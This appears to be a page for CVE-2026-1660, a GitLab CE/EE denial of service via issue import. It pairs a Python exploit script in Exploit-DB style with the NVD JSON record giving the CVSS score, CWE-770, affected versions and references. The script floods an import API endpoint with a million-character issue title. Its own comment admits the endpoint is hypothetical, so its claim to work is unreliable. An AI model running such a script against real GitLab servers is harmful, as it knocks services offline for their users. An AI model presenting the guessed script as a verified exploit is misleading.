CVE-2026-1660

import requests # Exploit Title: GitLab CE/EE DoS via Issue Import # Date: 2026-04-22 # Exploit Author: Analyst # Vendor Homepage: https://about.gitlab.com/ # Software Link: https://about.gitlab.com/releases/ # Version: < 18.9.6, < 18.10.4, < 18.11.1 # CVE: CVE-2026-1660 def trigger_dos(url, token, project_id): headers = { 'PRIVATE-TOKEN': token } # Malicious payload designed to trigger improper input validation during processing payload = { 'file': 'malicious_issues.csv', 'delimiter': ',', # Injecting specially crafted data to cause resource exhaustion 'issues': [{'title': 'A' * 1000000, 'description': 'DoS payload'}] } # Endpoint for importing issues (hypothetical based on functionality) import_url = f"{url}/api/v4/projects/{project_id}/import_issues" try: response = requests.post(import_url, headers=headers, json=payload, timeout=10) if response.status_code == 202 or response.status_code == 200: print("Payload sent, server may be processing malicious input.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target_url = "http://gitlab.example.com" user_token = "glpat-xxxxxxxxxxxxxxxxxxxx" target_project = 1 trigger_dos(target_url, user_token, target_project)

{"cve": {"id": "CVE-2026-1660", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:33.697", "lastModified": "2026-04-23T20:45:07.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.3 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that under certain conditions could have allowed an authenticated user to cause denial of service when importing issues due to improper input validation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "12.3.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "645F1F94-5DB2-4F63-A978-29F67486FD8C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.3.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "4ED51050-8CA2-4875-AA85-5E2AD7E8C884"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/588200", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3518743", "source": "[email protected]", "tags": ["Permissions Required"]}]}}